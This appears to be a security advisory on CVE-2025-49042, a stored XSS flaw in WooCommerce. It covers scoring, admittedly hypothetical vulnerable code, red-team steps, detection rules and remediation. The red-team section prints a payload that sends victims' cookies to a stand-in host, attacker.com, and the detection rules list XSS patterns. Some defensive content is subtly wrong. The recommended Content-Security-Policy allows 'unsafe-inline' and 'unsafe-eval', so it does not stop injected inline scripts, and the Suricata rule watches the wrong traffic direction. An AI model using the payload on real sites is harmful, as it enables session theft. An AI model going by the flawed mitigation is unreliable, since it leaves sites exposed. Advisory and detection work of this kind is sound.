CVE-2025-49042

Executive Summary

CVE-2025-49042 is a Stored Cross-Site Scripting (XSS) vulnerability in the WooCommerce plugin for WordPress, affecting versions up to and including 10.0.2. This flaw allows an authenticated attacker with low privileges to inject malicious scripts into web pages, which are then stored and executed in the browsers of other users. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild, but the risk remains significant for targeted attacks.

Supply Chain & Package Security

WooCommerce is distributed as a WordPress plugin via the official WordPress plugin repository and GitHub. Since this is a WordPress ecosystem component, the supply chain risk is moderate. Users should verify the integrity of their plugin files by checking checksums provided by the vendor. No malicious packages have been reported in the official repository, but users should avoid downloading from unofficial sources.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker needs a subscriber-level account or higher
• User Interaction: Required (UI:R) – victim must visit a page containing the malicious payload
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. The requirement for authentication and user interaction reduces the likelihood of mass exploitation, but the stored nature of the XSS makes it dangerous for targeted attacks against administrators or high-privilege users.

Deep Dive & Mechanics

The vulnerability exists in WooCommerce's handling of user input, likely in a custom field or meta box that is not properly sanitized before being stored in the database and later rendered on a page. The improper neutralization allows an attacker to inject arbitrary HTML and JavaScript.

Root Cause: The application fails to escape or sanitize input in a specific context (e.g., product description, customer note, or order meta). When this input is later displayed, the browser interprets the injected script as part of the page content.

Attack Flow:

1. Attacker logs in with a low-privilege account (e.g., subscriber or customer).
2. Attacker submits a form (e.g., product review, order note) containing a malicious payload like <script>alert('XSS')</script>.
3. The payload is stored in the WordPress database without proper sanitization.
4. When an administrator or another user views the page containing this data, the script executes in their browser.
5. The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability. The attack surface is limited to authenticated users, but the stored XSS can affect all users who view the compromised content, including site visitors if the vulnerable field is publicly displayed.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. A typical vulnerable snippet in WooCommerce might look like:

// Vulnerable code (WooCommerce <= 10.0.2)
function display_customer_note($note) {
    echo "<div class='customer-note'>" . $note . "</div>";
}

The patched version would use WordPress's built-in escaping functions:

// Patched code (hypothetical)
function display_customer_note($note) {
    echo "<div class='customer-note'>" . esc_html($note) . "</div>";
}

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with WooCommerce <= 10.0.2
• A low-privilege user account (e.g., subscriber)
• A web browser with developer tools

Steps:

1. Log in as the low-privilege user.
2. Navigate to a page where user input is accepted (e.g., product review form).
3. Inject the following payload into a text field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form.
5. Wait for an administrator to view the page. The script will execute, sending their cookies to the attacker's server.

Alternative Payload:

<img src=x onerror="alert('XSS')">

Blue Team

Detection:

• Monitor for unusual POST requests to WooCommerce endpoints (e.g., /wp-json/wc/v3/orders, /wp-admin/admin-ajax.php).
• Look for payloads containing <script>, <img onerror>, or other HTML event handlers in form submissions.
• Use web application firewalls (WAF) to block common XSS patterns.

Hunting:

• Search the WordPress database for stored XSS payloads:

  SELECT * FROM wp_comments WHERE comment_content LIKE '%<script>%';
  SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
  

• Review server logs for requests to external domains from the WordPress admin area.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• File: Modified plugin files (check file integrity via checksums).
• Database: Entries in wp_comments, wp_postmeta, or wp_options containing <script> tags or event handlers.
• Logs: Unusual entries in access.log or error.log showing XSS payloads in POST data.

Example IOC:

POST /wp-json/wc/v3/orders HTTP/1.1
Host: victim.com
Content-Type: application/json
{
  "customer_note": "<script>alert(1)</script>"
}

Detection Engineering

YARA Rule

rule CVE_2025_49042_WooCommerce_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WooCommerce database exports or logs"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-49042"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]+onerror\s*=/is
        $xss3 = /<svg[^>]+onload\s*=/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: WooCommerce Stored XSS Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in WooCommerce POST requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/wp-json/wc/v3/'
            - '/wp-admin/admin-ajax.php'
        cs-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in product descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49042 WooCommerce Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-json/wc/v3/"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patch becomes available, upgrade WooCommerce to the latest version immediately.
2. WAF Rules: Deploy WAF rules to block common XSS patterns in POST requests to WooCommerce endpoints.
3. Input Validation: Implement server-side input validation and sanitization using WordPress functions like esc_html(), esc_attr(), and wp_kses().
4. Content Security Policy (CSP): Add a CSP header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self' data:;
   

5. User Education: Train administrators to avoid clicking on suspicious links and to review user-generated content regularly.

Long-Term Fixes:

• Apply the official patch from Automattic when released.
• Conduct a code audit of all WooCommerce custom fields and meta boxes.
• Implement a plugin update policy to ensure timely patching.

Workarounds:

• Disable user-submitted content (e.g., product reviews) if not essential.
• Use a security plugin like Wordfence to add an additional layer of XSS protection.

Valters IT